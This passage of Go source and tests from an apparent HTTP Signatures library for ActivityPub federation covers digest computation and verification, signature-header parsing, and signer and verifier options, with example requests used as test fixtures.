9 | // FieldExpires is not supported at this time, and will generate an error.
10 | // https://datatracker.ietf.org/doc/html/draft-cavage-http-signatures#section-2.3
11 | const FieldExpires = "(expires)"
12 |
13 | const FieldDate = "date"
14 |
15 | // FieldDigest represents the Digest header field that validates the request body.
16 | // https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Digest
17 | // https://datatracker.ietf.org/doc/draft-ietf-httpbis-digest-headers/
18 | const FieldDigest = "digest"
19 |
20 | const FieldHost = "host"
21 |
22 | // The “hs2019” signature algorithm. This is the only non-deprecated algorithm. Unlike the other algorithms, the hash and digest functions are not implied by the choice of this signature algorithm. Instead, the hash and digest functions are chosen based on the key used. RSA, HMAC, and ECDSA keys are all supported.
23 | // TODO: How to implement hs2019?
24 | const Algorithm_HS2019 = "hs2019"
25 |
26 | // Deprecated. The “rsa-sha256” signature algorithm. Deprecated by the standard because it reveals which hash and digest algorithm is used.
27 | const Algorithm_RSA_SHA256 = "rsa-sha256"
28 |
29 | const Algorithm_RSA_SHA512 = "rsa-sha512"
30 |
31 | // Deprecated. The “hmac-sha256” signature algorithm. Deprecated by the standard because it reveals which hash and digest algorithm is used.
32 | const Algorithm_HMAC_SHA256 = "hmac-sha256"
33 |
34 | // Deprecated. The “ecdsa-sha256” signature algorithm. Deprecated by the standard because it reveals which hash and digest algorithm is used.
35 | const Algorithm_ECDSA_SHA256 = "ecdsa-sha256"
36 |
37 | // TODO: Are these supported by the actual specs?
38 | const Algorithm_HMAC_SHA512 = "hmac-sha512"
39 | const Algorithm_ECDSA_SHA512 = "ecdsa-sha512"
40 |
--------------------------------------------------------------------------------
/sigs/digest.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "crypto"
5 | "net/http"
6 | "strings"
7 |
8 | "github.com/benpate/derp"
9 | "github.com/benpate/re"
10 | "github.com/benpate/rosetta/list"
11 | "github.com/benpate/rosetta/slice"
12 | "github.com/rs/zerolog/log"
13 | )
14 |
15 | // ApplyDigest calculates the digest of the body from a given
16 | // http.Request, then adds the digest to the Request's header.
17 | func ApplyDigest(request *http.Request, digestName string, digestFunc DigestFunc) error {
18 |
19 | if request == nil {
20 | return derp.InternalError("sigs.ApplyDigest", "Request cannot be nil")
21 | }
22 |
23 | // Retrieve the request body (in a replayable manner)
24 | body, err := re.ReadRequestBody(request)
25 |
26 | if err != nil {
27 | return derp.Wrap(err, "sigs.ApplyDigest", "Error reading request body")
28 | }
29 |
30 | if len(body) == 0 {
31 | return nil
32 | }
33 |
34 | // Try to calculate the digest with the DigestFunc
35 | result := digestName + "=" + digestFunc(body)
36 |
37 | // Apply the digest to the Request
38 | request.Header.Set(FieldDigest, result)
39 | return nil
40 | }
41 |
42 | // VerifyDigest verifies that the digest in the http.Request header
43 | // matches the contents of the http.Request body.
44 | func VerifyDigest(request *http.Request, allowedHashes ...crypto.Hash) error {
45 |
46 | // Retrieve the request body (in a replayable manner)
47 | body, err := re.ReadRequestBody(request)
48 |
49 | if err != nil {
50 | return derp.Wrap(err, "sigs.VerifyDigest", "Error reading request body")
51 | }
52 |
53 | // Retrieve the digest(s) included in the HTTP Request
54 | digestHeader := request.Header.Get(FieldDigest)
55 |
56 | // If there is no digest header, then there is nothing to verify
57 | if digestHeader == "" {
58 | return nil
59 | }
60 |
61 | // Process the digest header into separate values
62 | headerValues := strings.Split(digestHeader, ",")
63 | atLeastOneAlgorithmMatches := false
64 |
65 | for _, headerValue := range headerValues {
66 |
67 | headerValue = strings.Trim(headerValue, " ")
68 | digestAlgorithm, digestValue := list.Split(headerValue, '=')
69 |
70 | // If we recognize the digest algorithm, then use it to verify the body/digest
71 | fn, err := getDigestFuncByName(digestAlgorithm)
72 |
73 | if err != nil {
74 | log.Trace().Msg("Hannibal sigs: VerifyDigest: Unknown digest algorithm: " + digestAlgorithm)
75 | continue
76 | }
77 |
78 | // Additional trace values that helped isolate a bug in the digest algorithm
79 | log.Trace().Msg("Validating Digest: " + digestAlgorithm + "=" + digestValue)
80 | log.Trace().Msg(headerValue)
81 | log.Trace().Msg(digestValue)
82 | log.Trace().Msg(fn(body))
83 |
84 | // If the values match, then success!
85 | if digestValue == fn(body) {
86 | log.Trace().Msg("Hannibal sigs: VerifyDigest: Valid Digest Found. Algorithm: " + digestAlgorithm)
87 |
88 | // Verify that this algorithm is in the list of allowed hashes
89 | hash := getHashByName(digestAlgorithm)
90 | if slice.Contains(allowedHashes, hash) {
91 | atLeastOneAlgorithmMatches = true
92 | }
93 | continue
94 | }
95 |
96 | // If the values DON'T MATCH, then fail immediately.
97 | // We don't want bad actors "digest shopping"
98 | return derp.ForbiddenError("sigs.VerifyDigest", "Digest verification failed", digestValue)
99 | }
100 |
101 | // If we have found at least one digest that matches, then success!
102 | if atLeastOneAlgorithmMatches {
103 | log.Trace().Msg("Digest verified.")
104 | return nil
105 | }
106 |
107 | // Otherwise, the digest hash does not meet our minimum requirements. Fail.
108 | return derp.ForbiddenError("sigs.VerifyDigest", "No matching digest found")
109 | }
110 |
--------------------------------------------------------------------------------
/sigs/digestFunc.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "crypto"
5 | "crypto/sha256"
6 | "crypto/sha512"
7 | "encoding/base64"
8 | "strings"
9 |
10 | "github.com/benpate/derp"
11 | "github.com/rs/zerolog/log"
12 | )
13 |
14 | // DigestFunc defines a function that calculates the digest of a given byte array
15 | type DigestFunc func(body []byte) string
16 |
17 | /*
18 | // getDigestFuncs uses a list of algorithm names to generate a list of DigestFuncs
19 | // This is unused now, but may be useful in the future.
20 | func getDigestFuncs(algorithms ...crypto.Hash) ([]DigestFunc, error) {
21 |
22 | result := make([]DigestFunc, 0, len(algorithms))
23 |
24 | for _, algorithm := range algorithms {
25 |
26 | fn, err := getDigestFunc(algorithm)
27 |
28 | if err != nil {
29 | return nil, derp.Wrap(err, "sigs.getDigestFunc", "Error parsing algorithm")
30 | }
31 |
32 | result = append(result, fn)
33 | }
34 |
35 | return result, nil
36 | }
37 | */
38 |
39 | // getDigestFuncByName returns the DigestFunc for either `sha-256` or `sha-512`
40 | func getDigestFuncByName(name string) (DigestFunc, error) {
41 | return getDigestFunc(getHashByName(name))
42 | }
43 |
44 | // getDigestFunc uses an algorithm name to generate a DigestFunc using
45 | // a case insensitive match. It currently supports `sha-256` and `sha-512`.
46 | // Unrecognized digest names will return an error.
47 | func getDigestFunc(algorithm crypto.Hash) (DigestFunc, error) {
48 |
49 | switch algorithm {
50 |
51 | case crypto.SHA256:
52 | return DigestSHA256, nil
53 |
54 | case crypto.SHA512:
55 | return DigestSHA512, nil
56 | }
57 |
58 | return nil, derp.BadRequestError("sigs.getDigestFunc", "Unknown algorithm", algorithm)
59 | }
60 |
61 | // getDigestName returns the name of a given crypto.Hash value
62 | func getDigestName(algorithm crypto.Hash) string {
63 |
64 | switch algorithm {
65 |
66 | case crypto.SHA256:
67 | return "SHA-256"
68 |
69 | case crypto.SHA512:
70 | return "SHA-512"
71 | }
72 |
73 | return "unknown"
74 | }
75 |
76 | // getHashByName converts common hash names into crypto.Hash values. It works
77 | // with these values: sha-256, sha256, sha-512, sha512 (case insensitive)
78 | func getHashByName(name string) crypto.Hash {
79 |
80 | switch strings.ToLower(name) {
81 |
82 | case "sha-256", "sha256":
83 | return crypto.SHA256
84 |
85 | case "sha-512", "sha512":
86 | return crypto.SHA512
87 | }
88 |
89 | log.Warn().Msg("sigs.getHashByName: Unknown hash name: " + name + ". Defaulting to SHA-256")
90 |
91 | return crypto.SHA256
92 | }
93 |
94 | // DigestSHA256 calculates the SHA-256 digest of a slice of bytes
95 | func DigestSHA256(body []byte) string {
96 | digest := sha256.Sum256(body)
97 | return base64.StdEncoding.EncodeToString(digest[:])
98 | }
99 |
100 | // DigestSHA512 calculates the SHA-512 digest of a given slice of bytes
101 | func DigestSHA512(body []byte) string {
102 | digest := sha512.Sum512(body)
103 | return base64.StdEncoding.EncodeToString(digest[:])
104 | }
105 |
106 | // TODO: Additional algorithms specified by https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Digest
107 | // unixsum, unixcksum, crc32c, sha-256 and sha-512, id-sha-256, id-sha-512
108 |
--------------------------------------------------------------------------------
/sigs/digest_test.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "bytes"
5 | "crypto"
6 | "net/http"
7 | "testing"
8 |
9 | "github.com/stretchr/testify/require"
10 | )
11 |
12 | func TestApplyDigest(t *testing.T) {
13 |
14 | var body bytes.Buffer
15 | body.WriteString("This is my body. There are many like it, but this one is mine.")
16 |
17 | request, err := http.NewRequest("GET", "http://example.com/foo", &body)
18 | require.Nil(t, err)
19 |
20 | err = ApplyDigest(request, "SHA-256", DigestSHA256)
21 | require.Nil(t, err)
22 | require.Equal(t, "SHA-256=2dZxOmbiuR4yypVcyCfajB3YMhmSg+QNUlnUIrfllPM=", request.Header.Get("Digest"))
23 | }
24 |
25 | func TestVerifyDigest(t *testing.T) {
26 |
27 | body := []byte("This is my body. There are many like it, but this one is mine.")
28 |
29 | request, err := http.NewRequest("GET", "http://example.com/foo", bytes.NewReader(body))
30 | require.Nil(t, err)
31 |
32 | err = ApplyDigest(request, "SHA-256", DigestSHA256)
33 | require.Nil(t, err)
34 |
35 | err = VerifyDigest(request, crypto.SHA256)
36 | require.Nil(t, err)
37 | }
38 |
39 | func TestVerifyDigest_PixelFed(t *testing.T) {
40 |
41 | request := getTestPixelFedRequest()
42 |
43 | err := VerifyDigest(request, crypto.SHA256)
44 | require.Nil(t, err)
45 | }
46 |
--------------------------------------------------------------------------------
/sigs/httpsig.go:
--------------------------------------------------------------------------------
1 | // Package sigs implements the IETF draft specification "Signing HTTP Messages"
2 | // https://datatracker.ietf.org/doc/html/draft-cavage-http-signatures
3 | package sigs
4 |
--------------------------------------------------------------------------------
/sigs/remoteMiddleware.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "net/http"
5 |
6 | "github.com/benpate/derp"
7 | "github.com/benpate/remote"
8 | )
9 |
10 | // WithSigner is a remote.Option that signs an outbound HTTP request
11 | func WithSigner(signer Signer) remote.Option {
12 |
13 | return remote.Option{
14 |
15 | ModifyRequest: func(txn *remote.Transaction, request *http.Request) *http.Response {
16 |
17 | // Sign the outbound request
18 | if err := signer.Sign(request); err != nil {
19 | derp.Report(derp.Wrap(err, "hannibal.sigs.WithSigner", "Error signing request"))
20 | }
21 |
22 | // If exists, write the Digest back into the transaction (for serialization, et al)
23 | if digest := request.Header.Get("Digest"); digest != "" {
24 | txn.Header("Digest", digest)
25 | }
26 |
27 | // If exists, write the Signature back into the transaction (for serialization, et al)
28 | if signature := request.Header.Get("Signature"); signature != "" {
29 | txn.Header("Signature", signature)
30 | }
31 |
32 | // Nil response means that we are still sending the request to the remote server
33 | // instead of replacing it with a new request.
34 | return nil
35 | },
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/sigs/request_test.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "bytes"
5 | "net/http"
6 | "strings"
7 | "testing"
8 |
9 | "github.com/stretchr/testify/require"
10 | )
11 |
12 | func TestHTTPRequest(t *testing.T) {
13 |
14 | request, err := http.NewRequest("GET", "http://example.com/foo", nil)
15 | require.Nil(t, err)
16 |
17 | request.Header.Add("Cache-Control", "max-age=60")
18 | request.Header.Add("Cache-Control", "must-revalidate")
19 |
20 | var buffer bytes.Buffer
21 | if err := request.Header.Write(&buffer); err != nil {
22 | panic(err)
23 | }
24 |
25 | // Guarantee that Go is writing the header the way we'd expect
26 | require.Equal(t, removeTabs("Cache-Control: max-age=60\r\nCache-Control: must-revalidate\r\n"), buffer.String())
27 |
28 | // Prove that we get the FIRST value when we call .Get()
29 | require.Equal(t, "max-age=60", request.Header.Get("Cache-Control"))
30 | require.Equal(t, "max-age=60", request.Header.Get("cAcHe-CoNtRoL"))
31 |
32 | // Prove that whe get ALL values when whe access via the map
33 | valueSlice := request.Header[http.CanonicalHeaderKey("CAcHe-CoNtroL")]
34 | result := strings.Join(valueSlice, ", ")
35 |
36 | require.Equal(t, "max-age=60, must-revalidate", result)
37 | }
38 |
--------------------------------------------------------------------------------
/sigs/signature.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "encoding/base64"
5 | "net/http"
6 | "strconv"
7 | "strings"
8 | "time"
9 |
10 | "github.com/benpate/derp"
11 | "github.com/benpate/rosetta/list"
12 | )
13 |
14 | // https://datatracker.ietf.org/doc/html/draft-cavage-http-signatures#section-2.1
15 | type Signature struct {
16 | KeyID string // ID (URL) of the key used to create this signature
17 | Algorithm string // Algorithm used to create this signature (should be ignored per IEFT spec)
18 | Headers []string // List of headers that were signed
19 | Signature []byte // Base64 encoded signature
20 | Created int64 // Unix epoch (in seconds) when this signature was created
21 | Expires int64 // Unix epoch (in seconds) when this signature expires
22 | }
23 |
24 | // NewSignature returns a fully initialized Signature object
25 | func NewSignature() Signature {
26 | return Signature{
27 | Headers: make([]string, 0),
28 | Signature: make([]byte, 0),
29 | }
30 | }
31 |
32 | // SignatureFinder is a function that can look up a public key.
33 | // This is injected into the Verify function by the inbox.
34 | type PublicKeyFinder func(keyID string) (string, error)
35 |
36 | // IsExpired returns TRUE if the current date is
37 | // less than its expiration date, OR if the
38 | // createDate + duration is less than the current date.
39 | // Calculations are skipped if the duration, created,
40 | // or expires values are zero.
41 | func (signature Signature) IsExpired(duration int) bool {
42 |
43 | // If there is no timeout set, then the signature has not expired.
44 | if duration == 0 {
45 | return false
46 | }
47 |
48 | now := time.Now().Unix()
49 |
50 | // If the "expires" value is valid and in the past, then the signature is expired
51 | if signature.Expires > 0 {
52 | if signature.Expires < now {
53 | return true
54 | }
55 | }
56 |
57 | // If the "created" and "duration" values are valid,
58 | // and their sum is in the past, then the signature is expired
59 | if (signature.Created > 0) && (duration > 0) {
60 | if (signature.Created + int64(duration)) < now {
61 | return true
62 | }
63 | }
64 |
65 | // Otherwise, the signature is not expired
66 | return false
67 | }
68 |
69 | // GetSignature returns the HTTP Signature from the request
70 | func GetSignature(request *http.Request) string {
71 | return request.Header.Get("Signature")
72 | }
73 |
74 | // HasSignature returns TRUE if the request has a Signature header
75 | func HasSignature(request *http.Request) bool {
76 | return GetSignature(request) != ""
77 | }
78 |
79 | // ParseSignature parses a string into an HTTP Signature
80 | func ParseSignature(value string) (Signature, error) {
81 |
82 | result := NewSignature()
83 |
84 | // Split the signature into a list of key=value pairs
85 | items := strings.Split(value, ",")
86 |
87 | for _, item := range items {
88 | item = strings.TrimSpace(item) // remove extra whitespace
89 | name, value := list.Split(item, '=') // split into key=value
90 | value = strings.Trim(value, `"`) // remove quotes from value
91 |
92 | // Assemble key/value pairs into the Signature structure
93 | switch name {
94 |
95 | case "keyId":
96 | result.KeyID = value
97 |
98 | case "algorithm":
99 | result.Algorithm = value
100 |
101 | case "headers":
102 | result.Headers = strings.Split(value, " ")
103 |
104 | case "signature":
105 | if value, err := base64.StdEncoding.DecodeString(value); err != nil {
106 | return Signature{}, derp.Wrap(err, "sigs.ParseSignature", "Error decoding signature", value)
107 | } else {
108 | result.Signature = value
109 | }
110 |
111 | case "created":
112 | result.Created, _ = strconv.ParseInt(value, 10, 64)
113 |
114 | case "expires":
115 | result.Expires, _ = strconv.ParseInt(value, 10, 64)
116 | }
117 | }
118 |
119 | // RULE: Required Fields
120 | if result.KeyID == "" {
121 | return Signature{}, derp.BadRequestError("sigs.ParseSignature", "Field 'keyId' is required.")
122 | }
123 |
124 | if len(result.Headers) == 0 {
125 | return Signature{}, derp.BadRequestError("sigs.ParseSignature", "Field 'headers' is required.")
126 | }
127 |
128 | if len(result.Signature) == 0 {
129 | return Signature{}, derp.BadRequestError("sigs.ParseSignature", "Field 'signature' is required.")
130 | }
131 |
132 | return result, nil
133 | }
134 |
135 | // String returns the Signature as a string
136 | func (signature Signature) String() string {
137 |
138 | var buffer strings.Builder
139 |
140 | buffer.WriteString(`keyId="`)
141 | buffer.WriteString(signature.KeyID)
142 | buffer.WriteString(`"`)
143 |
144 | buffer.WriteString(`,algorithm="`)
145 | buffer.WriteString(signature.Algorithm)
146 | buffer.WriteString(`"`)
147 |
148 | if signature.Created > 0 {
149 | buffer.WriteString(`,created=`)
150 | buffer.WriteString(strconv.FormatInt(signature.Created, 10))
151 | }
152 |
153 | if signature.Expires > 0 {
154 | buffer.WriteString(`,expires=`)
155 | buffer.WriteString(strconv.FormatInt(signature.Expires, 10))
156 | }
157 |
158 | buffer.WriteString(`,headers="`)
159 | buffer.WriteString(strings.Join(signature.Headers, " "))
160 | buffer.WriteString(`"`)
161 |
162 | buffer.WriteString(`,signature="`)
163 | buffer.WriteString(signature.Base64())
164 | buffer.WriteString(`"`)
165 |
166 | return buffer.String()
167 | }
168 |
169 | // Bytes returns the Signature as a slice of bytes
170 | func (signature Signature) Bytes() []byte {
171 | return []byte(signature.String())
172 | }
173 |
174 | // AlgorithmPrefix returns the first part of the algorithm name, such as "rsa", "hmac", or "ecdsa"
175 | func (signature Signature) AlgorithmPrefix() string {
176 | return list.Head(signature.Algorithm, '-')
177 | }
178 |
179 | // SignatureBytes returns the signature as a slice of bytes
180 | func (signature Signature) Base64() string {
181 | return base64.StdEncoding.EncodeToString(signature.Signature)
182 | }
183 |
184 | func (signature Signature) CreatedString() string {
185 | if signature.Created == 0 {
186 | return ""
187 | }
188 |
189 | return strconv.FormatInt(signature.Created, 10)
190 | }
191 |
192 | func (signature Signature) ExpiresString() string {
193 | if signature.Expires == 0 {
194 | return ""
195 | }
196 |
197 | return strconv.FormatInt(signature.Expires, 10)
198 | }
199 |
--------------------------------------------------------------------------------
/sigs/signature_test.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "encoding/base64"
5 | "testing"
6 |
7 | "github.com/stretchr/testify/require"
8 | )
9 |
10 | var testString string
11 | var testBytes []byte
12 |
13 | func init() {
14 | testString = "Y2FiYWIxNGRiZDk4ZA=="
15 | testBytes, _ = base64.StdEncoding.DecodeString(testString)
16 | }
17 |
18 | func TestParseSignature_IETF(t *testing.T) {
19 |
20 | // From: https://datatracker.ietf.org/doc/html/draft-cavage-http-signatures-05#section-4.1.1
21 | headerValue := `keyId="rsa-key-1",algorithm="hs2019",
22 | headers="(request-target) (created) host digest content-length",
23 | signature="` + testString + `"`
24 |
25 | signature, err := ParseSignature(headerValue)
26 |
27 | require.Nil(t, err)
28 | require.Equal(t, "rsa-key-1", signature.KeyID)
29 | require.Equal(t, "hs2019", signature.Algorithm)
30 | require.Equal(t, []string{"(request-target)", "(created)", "host", "digest", "content-length"}, signature.Headers)
31 | require.Equal(t, testBytes, signature.Signature)
32 | }
33 |
34 | func TestParseSignature_Mastodon(t *testing.T) {
35 |
36 | // From: https://docs.joinmastodon.org/spec/security/
37 | headerValue := `keyId="https://my-example.com/actor#main-key",headers="(request-target) host date digest",signature="` + testString + `"`
38 |
39 | signature, err := ParseSignature(headerValue)
40 |
41 | require.Nil(t, err)
42 | require.Equal(t, "https://my-example.com/actor#main-key", signature.KeyID)
43 | require.Equal(t, "", signature.Algorithm)
44 | require.Equal(t, []string{"(request-target)", "host", "date", "digest"}, signature.Headers)
45 | require.Equal(t, testBytes, signature.Signature)
46 | }
47 |
48 | func TestParseSignature_MastodonWithWhitespace(t *testing.T) {
49 |
50 | // From: https://docs.joinmastodon.org/spec/security/
51 | // Adding spaces to the signature just in case others do this too.
52 | headerValue := `keyId="https://my-example.com/actor#main-key", headers="(request-target) host date digest", signature="` + testString + `"`
53 |
54 | signature, err := ParseSignature(headerValue)
55 |
56 | require.Nil(t, err)
57 | require.Equal(t, "https://my-example.com/actor#main-key", signature.KeyID)
58 | require.Equal(t, "", signature.Algorithm)
59 | require.Equal(t, []string{"(request-target)", "host", "date", "digest"}, signature.Headers)
60 | require.Equal(t, testBytes, signature.Signature)
61 | }
62 |
--------------------------------------------------------------------------------
/sigs/signerOption.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import "crypto"
4 |
5 | // SignerOption is a function that modifies a Signer
6 | type SignerOption func(*Signer)
7 |
8 | // SignerFields sets the http.Request fields to be signed
9 | func SignerFields(fields ...string) SignerOption {
10 | return func(signer *Signer) {
11 | signer.Fields = fields
12 | }
13 | }
14 |
15 | // SignerSignatureDigest sets the hashing algorithm to be used
16 | // when we sign a request.
17 | func SignerSignatureHash(hash crypto.Hash) SignerOption {
18 | return func(signer *Signer) {
19 | signer.SignatureHash = hash
20 | }
21 | }
22 |
23 | // SignerBodyDigests sets the digest algorithm to be used
24 | // when creating the "Digest" header.
25 | func SignerBodyDigest(digest crypto.Hash) SignerOption {
26 | return func(signer *Signer) {
27 | signer.BodyDigest = digest
28 | }
29 | }
30 |
31 | func SignerCreated(created int64) SignerOption {
32 | return func(signer *Signer) {
33 | signer.Created = created
34 | }
35 | }
36 |
37 | func SignerExpires(expires int64) SignerOption {
38 | return func(signer *Signer) {
39 | signer.Expires = expires
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/sigs/signer_test.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "bytes"
5 | "crypto"
6 | "crypto/rand"
7 | "crypto/rsa"
8 | "encoding/base64"
9 | "net/http"
10 | "net/url"
11 | "strings"
12 | "testing"
13 |
14 | "github.com/stretchr/testify/require"
15 | )
16 |
17 | func TestSignRequest(t *testing.T) {
18 |
19 | body := []byte("This is the body of the request")
20 |
21 | request, err := http.NewRequest("GET", "http://example.com/something?test=true", bytes.NewReader(body))
22 | require.Nil(t, err)
23 | request.Header.Set("Content-Type", "text/plain")
24 |
25 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048)
26 | require.Nil(t, err)
27 |
28 | err = Sign(request, "test-key", privateKey)
29 | require.Nil(t, err)
30 |
31 | require.Equal(t, "SHA-256=65F8+S1Bg7oPQS/fIxVg4x7PoLWnOxWlGMFB/hafojg=", request.Header.Get("Digest"))
32 | require.NotEmpty(t, request.Header.Get("Signature"))
33 | }
34 |
35 | func TestMakePlaintext(t *testing.T) {
36 |
37 | body := []byte("This is the body of the request")
38 |
39 | request, err := http.NewRequest("GET", "http://example.com/something?test=true", bytes.NewReader(body))
40 | require.Nil(t, err)
41 | request.Header.Set("Content-Type", "text/plain")
42 |
43 | signature := NewSignature()
44 | result := makePlaintext(request, signature, FieldRequestTarget, FieldHost, FieldDate, FieldDigest)
45 | expected := removeTabs(
46 | `(request-target): get /something?test=true
47 | host: example.com
48 | date:
49 | digest: `)
50 | require.Equal(t, expected, result)
51 | }
52 |
53 | func TestMakePlaintext_Alternate(t *testing.T) {
54 |
55 | bodyReader := strings.NewReader("This is the body of the request")
56 |
57 | request, err := http.NewRequest("GET", "http://example.com/something?test=true", bodyReader)
58 | require.Nil(t, err)
59 | request.Header.Set("Content-Type", "text/plain")
60 |
61 | signature := NewSignature()
62 | result := makePlaintext(request, signature, FieldRequestTarget, FieldHost, "Content-Type")
63 | expected := removeTabs(
64 | `(request-target): get /something?test=true
65 | host: example.com
66 | content-type: text/plain`)
67 |
68 | require.Equal(t, expected, result)
69 | }
70 |
71 | func TestMakeSignatureHash_SHA256(t *testing.T) {
72 | result, err := makeSignatureHash("This is digest-able", crypto.SHA256)
73 | require.Nil(t, err)
74 |
75 | actual := base64.StdEncoding.EncodeToString(result)
76 | require.Equal(t, "jlBmJDmZdMjhLZga/ZjDrlloKd5lukG9S0lu/f7Xc64=", actual)
77 | }
78 |
79 | func TestMakeSignatureHash_SHA512(t *testing.T) {
80 | result, err := makeSignatureHash("This is digest-able", crypto.SHA512)
81 | require.Nil(t, err)
82 |
83 | actual := base64.StdEncoding.EncodeToString(result)
84 | require.Equal(t, "s2JJ/rYbVQTrkNR440jq+wuNk9ktJgvmVSDq805iC0EP4ONQPwfvuQK0yR/YuX7riJtNRwxMq6R1GL8W7A5vzg==", actual)
85 | }
86 |
87 | func TestMakeSignatureHash_Unsupported(t *testing.T) {
88 | result, err := makeSignatureHash("This is digest-able", crypto.BLAKE2b_256)
89 | require.NotNil(t, err)
90 | require.Nil(t, result)
91 | }
92 |
93 | func TestGetPathAndQuery(t *testing.T) {
94 | url, _ := url.Parse("http://example.com")
95 | require.Equal(t, "/", getPathAndQuery(url))
96 |
97 | url, _ = url.Parse("http://example.com/")
98 | require.Equal(t, "/", getPathAndQuery(url))
99 |
100 | url, _ = url.Parse("http://example.com/something")
101 | require.Equal(t, "/something", getPathAndQuery(url))
102 |
103 | url, _ = url.Parse("http://example.com/something?test=true")
104 | require.Equal(t, "/something?test=true", getPathAndQuery(url))
105 | }
106 |
107 | func removeTabs(s string) string {
108 | return strings.ReplaceAll(s, "\t", "")
109 | }
110 |
--------------------------------------------------------------------------------
/sigs/test_test.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "bytes"
5 | "net/http"
6 |
7 | "github.com/rs/zerolog"
8 | )
9 |
10 | func init() {
11 | // Configure logging
12 | zerolog.TimeFieldFormat = zerolog.TimeFormatUnix
13 | zerolog.SetGlobalLevel(zerolog.WarnLevel)
14 | }
15 |
16 | func must[T any](value T, err error) T {
17 | if err != nil {
18 | panic(err)
19 | }
20 | return value
21 | }
22 |
23 | func getTestPixelFedRequest() *http.Request {
24 | var body bytes.Buffer
25 | body.WriteString(`{"@context":"https:\/\/www.w3.org\/ns\/activitystreams","id":"https:\/\/pixelfed.social\/users\/benpate#follow\/595731146082391369","type":"Follow","actor":"https:\/\/pixelfed.social\/users\/benpate","object":"https:\/\/emdev.ddns.net\/@64d68054a4bf39a519f27c67"}`)
26 |
27 | request, _ := http.NewRequest("GET", "https://emdev.ddns.net/@64d68054a4bf39a519f27c67/pub/inbox", &body)
28 | request.Header.Set("User-Agent", "(Pixelfed/0.11.9; +https://pixelfed.social)")
29 | request.Header.Set("Content-Type", `application/ld+json; profile="https://www.w3.org/ns/activitystreams"`)
30 | request.Header.Set("Date", "Mon, 04 Sep 2023 21:17:36 GMT")
31 | request.Header.Set("Digest", "SHA-256=TwwjRc4l0VffR6UXoebZctDg2CY/sxUciFKxzVC3kPo=")
32 | request.Header.Set("Signature", `keyId="https://pixelfed.social/users/benpate#main-key",headers="(request-target) host date digest content-type user-agent",algorithm="rsa-sha256",signature="ZYIfR4fUvNt7K/2iWxke83wOJCPqnRNhJqPV3Z8NisTeaEXc1ujYAGahTyAUYYY1hKPDJL6HcbPszG5R/7yXUfQVoABDBeWN6k8pVm43FpfCic156qCczvGM6KqzhQtWrw4nYuILzdL+QCJo7O9H6TEsLAuVcJ7ycb5BpiNvOMy9pMnLAyvf8A3qxhh9NYm+PtzFczQ83HBCDtpr7N+wMvP1xhIByouaB0VLntsyjpjJZdQSmZteSiZixN3h27lkBI/++xLdTKbff81dwdMEVROf4HUp/TR5kmh6NotoV7bTGxn/0c05Bv4bpNaMQc8f5myn/r4MuTHwS4pTSlhe/w=="`)
33 |
34 | return request
35 | }
36 |
--------------------------------------------------------------------------------
/sigs/utils.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import "github.com/rs/zerolog"
4 |
5 | // canInfo returns TRUE if zerolog is configured to allow Info logs
6 | // nolint:unused
7 | func canInfo() bool {
8 | return canLog(zerolog.InfoLevel)
9 | }
10 |
11 | // canDebug returns TRUE if zerolog is configured to allow Debug logs
12 | // nolint:unused
13 | func canDebug() bool {
14 | return canLog(zerolog.DebugLevel)
15 | }
16 |
17 | // canTrace returns TRUE if zerolog is configured to allow Trace logs
18 | // nolint:unused
19 | func canTrace() bool {
20 | return canLog(zerolog.TraceLevel)
21 | }
22 |
23 | // canLog is a silly zerolog helper that returns TRUE
24 | // if the provided log level would be allowed
25 | // (based on the global log level).
26 | // This makes it easier to execute expensive code conditionally,
27 | // for instance: marshalling a JSON object for logging.
28 | func canLog(level zerolog.Level) bool {
29 | return zerolog.GlobalLevel() <= level
30 | }
31 |
--------------------------------------------------------------------------------
/sigs/utils_test.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "testing"
5 |
6 | "github.com/rs/zerolog"
7 | "github.com/stretchr/testify/require"
8 | )
9 |
10 | func TestCanTrace(t *testing.T) {
11 | zerolog.SetGlobalLevel(zerolog.TraceLevel)
12 | require.True(t, canTrace())
13 | zerolog.SetGlobalLevel(zerolog.DebugLevel)
14 | require.False(t, canTrace())
15 | }
16 |
17 | func TestCanDebug(t *testing.T) {
18 | zerolog.SetGlobalLevel(zerolog.TraceLevel)
19 | require.True(t, canDebug())
20 | zerolog.SetGlobalLevel(zerolog.DebugLevel)
21 | require.True(t, canDebug())
22 | zerolog.SetGlobalLevel(zerolog.InfoLevel)
23 | require.False(t, canDebug())
24 | }
25 |
26 | func TestCanInfo(t *testing.T) {
27 | zerolog.SetGlobalLevel(zerolog.TraceLevel)
28 | require.True(t, canDebug())
29 | zerolog.SetGlobalLevel(zerolog.DebugLevel)
30 | require.True(t, canDebug())
31 | zerolog.SetGlobalLevel(zerolog.InfoLevel)
32 | require.True(t, canInfo())
33 | zerolog.SetGlobalLevel(zerolog.WarnLevel)
34 | require.False(t, canInfo())
35 | }
36 |
--------------------------------------------------------------------------------
/sigs/verifierOption.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import "crypto"
4 |
5 | // VerifierOption is a function that modifies a Verifier
6 | type VerifierOption func(*Verifier)
7 |
8 | // VerifierFields sets the list of http.Request fields that
9 | // MUST ALL be present in the "Signature" header from a
10 | // remote server for a signature to be accepted. Extra
11 | // fields are allowed in the Signature, and will still
12 | // be verified.
13 | func VerifierFields(fields ...string) VerifierOption {
14 | return func(verifier *Verifier) {
15 | verifier.Fields = fields
16 | }
17 | }
18 |
19 | // VerifierDigests sets the list of algorithms that we will
